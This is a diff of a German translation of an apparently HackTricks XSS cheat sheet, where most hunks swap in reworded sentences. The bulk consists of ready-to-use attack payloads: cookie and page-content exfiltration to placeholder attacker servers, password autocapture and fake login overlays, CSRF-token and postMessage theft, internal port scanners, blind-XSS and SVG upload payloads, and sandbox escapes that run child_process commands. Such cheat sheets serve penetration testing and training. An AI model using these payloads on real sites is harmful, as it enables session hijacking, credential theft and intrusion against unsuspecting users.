@ -914,20 +836,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
};
|
||||
|
||||
```
|
||||
|
||||
### Skripttypen für XSS
|
||||
|
||||
(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?
|
||||
|
||||
(Aus [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
||||
Die Antwort ist:
|
||||
|
||||
* **Modul** (Standard, nichts zu erklären)
|
||||
* [**Webbundle**](https://web.dev/web-bundles/): Web-Bundles sind eine Funktion, mit der Sie eine Vielzahl von Daten (HTML, CSS, JS usw.) in einer **`.wbn`**-Datei bündeln können.
|
||||
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -937,9 +855,7 @@ Die Antwort ist:
|
|||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der Import-Syntax
|
||||
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
|
@ -956,11 +872,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
|
||||
Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek neu zuzuordnen, um sie zu missbrauchen und XSS auszulösen.
|
||||
Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzumappen, um sie zu missbrauchen und XSS auszulösen.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich zur Lösung einiger Probleme, die durch das Vorabrendern verursacht werden. Es funktioniert folgendermaßen:
|
||||
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -976,7 +890,6 @@ Dieses Verhalten wurde in [**diesem Bericht**](https://github.com/zwade/yaca/tre
|
|||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
### Web-Inhaltsarten für XSS
|
||||
|
||||
(Aus [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Inhaltsarten können XSS in allen Browsern ausführen:
|
||||
|
@ -995,7 +908,6 @@ In anderen Browsern können andere **`Content-Types`** verwendet werden, um beli
|
|||
### xml-Inhaltstyp
|
||||
|
||||
Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Namespace anzugeben und beliebigen JS-Code auszuführen:
|
||||
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -1003,7 +915,6 @@ Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Nam
|
|||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
|
||||
### Spezielle Ersatzmuster
|
||||
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**spezielle Zeichenfolgenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) verwenden, um zu versuchen, einige Schutzmechanismen zu umgehen: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
@ -1019,7 +930,6 @@ Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/Plaid
|
|||
### XS-Jails Escape
|
||||
|
||||
Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme:
|
||||
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -1050,27 +960,22 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
|
||||
Wenn **alles undefiniert ist** bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
|
||||
Wenn **alles undefiniert ist** bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
|
||||
|
||||
* Verwendung von import()
|
||||
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
|
||||
* Zugriff auf `require` indirekt
|
||||
|
||||
[Gemäß dieser Erklärung](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in einer Funktion umschlossen, wie folgt:
|
||||
|
||||
[Gemäß dieser Erklärung](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in eine Funktion eingewickelt, wie folgt:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
});
|
||||
```
|
||||
|
||||
Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen können, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
Daher, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1079,7 +984,6 @@ Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen k
|
|||
{% endcode %}
|
||||
|
||||
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Fehlerbehandlungen zu verwenden**, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`** Funktion zu erhalten:
|
||||
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1116,7 +1020,6 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
|
||||
### Verschleierung & Fortgeschrittene Umgehung
|
||||
|
||||
* **Verschiedene Verschleierungen auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
|
@ -1125,11 +1028,10 @@ trigger()
|
|||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* Mehr ausgefeiltes JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* Fortgeschrittenes JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
|
||||
```javascript
|
||||
//Katana
|
||||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||||
|
@ -1153,7 +1055,6 @@ trigger()
|
|||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
|
||||
## XSS häufige Payloads
|
||||
|
||||
### Mehrere Payloads in 1
|
||||
|
@ -1163,7 +1064,6 @@ trigger()
|
|||
{% endcontent-ref %}
|
||||
|
||||
### Cookies abrufen
|
||||
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1185,13 +1085,11 @@ trigger()
|
|||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Sie **können nicht auf die Cookies von JavaScript aus zugreifen**, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/#httponly), wenn Sie Glück haben.
|
||||
{% endhint %}
|
||||
|
||||
### Seiteninhalt stehlen
|
||||
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||||
var attacker = "http://10.10.14.8/exfil";
|
||||
|
@ -1204,11 +1102,9 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
xhr.open('GET', url, true);
|
||||
xhr.send(null);
|
||||
```
|
||||
|
||||
### Interne IPs finden
|
||||
|
||||
Um interne IPs mithilfe von XSS zu finden, können Sie JavaScript verwenden, um Anfragen an interne Ressourcen zu senden und die Antwortzeiten zu überwachen. Durch das Messen der Antwortzeiten können Sie feststellen, ob die Anfrage an eine interne IP-Adresse gesendet wurde. Dies kann Ihnen helfen, interne IPs innerhalb des Netzwerks zu identifizieren.
|
||||
|
||||
Um interne IPs zu finden, können Sie XSS-Angriffe (Cross-Site-Scripting) verwenden, um Skripte in Webanwendungen einzufügen, die es ermöglichen, interne IPs von Benutzern abzurufen. Dies kann durch das Ausnutzen von Schwachstellen in der Webanwendung erreicht werden, um Informationen über das interne Netzwerk zu sammeln.
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1254,17 +1150,13 @@ q.shift()();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
### Port Scanner (Abruf)
|
||||
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
|
||||
### Port Scanner (Websockets)
|
||||
|
||||
### Portscanner (Websockets)
|
||||
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
@ -1279,19 +1171,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin._ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
|
||||
Überprüfen Sie die Liste der in Chrome verbotenen Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Überprüfen Sie die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Feld zur Eingabe von Anmeldeinformationen
|
||||
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
||||
### Automatisches Erfassen von Passwörtern
|
||||
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1302,8 +1190,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
|
||||
Wenn Daten in das Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.
|
||||
Wenn Daten in das Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldedaten exfiltriert.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1315,7 +1202,6 @@ Beim Durchsuchen von Github habe ich ein paar verschiedene gefunden:
|
|||
* Sie können auch Metasploit `http_javascript_keylogger` verwenden
|
||||
|
||||
### CSRF-Token stehlen
|
||||
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -1330,9 +1216,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
};
|
||||
</script>
|
||||
```
|
||||
|
||||
### PostMessage-Nachrichten stehlen
|
||||
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1340,7 +1224,6 @@ window.onmessage = function(e){
|
|||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
|
||||
### Ausnutzen von Service-Workern
|
||||
|
||||
{% content-ref url="abusing-service-workers.md" %}
|
||||
|
@ -1360,7 +1243,6 @@ document.getElementById("message").src += "&"+e.data;
|
|||
### Blind XSS-Payloads
|
||||
|
||||
Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
|
||||
|
||||
```markup
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
|
@ -1400,11 +1282,9 @@ Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
|
||||
### Regex - Zugriff auf versteckte Inhalte
|
||||
|
||||
Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) kann man lernen, dass auch wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist es immer noch möglich, den Wert eines REGEX-Inputs zu finden, nachdem der Wert des Inputs des REGEX entfernt wurde:
|
||||
|
||||
Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) kann man lernen, dass es selbst wenn einige Werte aus JS verschwinden, immer noch möglich ist, sie in JS-Attributen in verschiedenen Objekten zu finden. Zum Beispiel ist es auch nach dem Entfernen des Werts der Eingabe des REGEX immer noch möglich, sie zu finden:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1419,7 +1299,6 @@ console.log(RegExp.input)
|
|||
console.log(RegExp.rightContext)
|
||||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||||
```
|
||||
|
||||
### Brute-Force-List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
@ -1437,15 +1316,13 @@ Kann Markdown-Code einschleusen, der gerendert wird? Vielleicht können Sie XSS
|
|||
### XSS zu SSRF
|
||||
|
||||
Haben Sie XSS auf einer **Website, die Caching verwendet**? Versuchen Sie, **dies auf SSRF zu aktualisieren** durch Edge Side Include Injection mit diesem Payload:
|
||||
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
||||
Verwenden Sie es, um Cookie-Beschränkungen, XSS-Filter und vieles mehr zu umgehen!\
|
||||
Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dynamisch erstellten PDF
|
||||
### XSS in dynamisch erstelltem PDF
|
||||
|
||||
Wenn eine Webseite ein PDF unter Verwendung von benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **beliebigen JS-Code auszuführen**.\
|
||||
Wenn der **PDF-Erstellungsbot** also **HTML-Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **missbrauchen**, um einen **Server-XSS** zu verursachen.
|
||||
|
@ -1471,7 +1348,6 @@ Beispiel [**Bericht über XSS in Amp4Email in Gmail**](https://adico.me/post/xss
|
|||
### XSS-Datei-Upload (svg)
|
||||
|
||||
Laden Sie als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1527,7 +1403,6 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
|
||||
Finde **mehr SVG-Payloads unter** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Verschiedene JS-Tricks & relevante Informationen
|
||||
|
@ -1544,15 +1419,15 @@ Finde **mehr SVG-Payloads unter** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hackerkarriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn du an einer **Karriere im Hacking** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lerne AWS-Hacking von Null zum Profi mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
|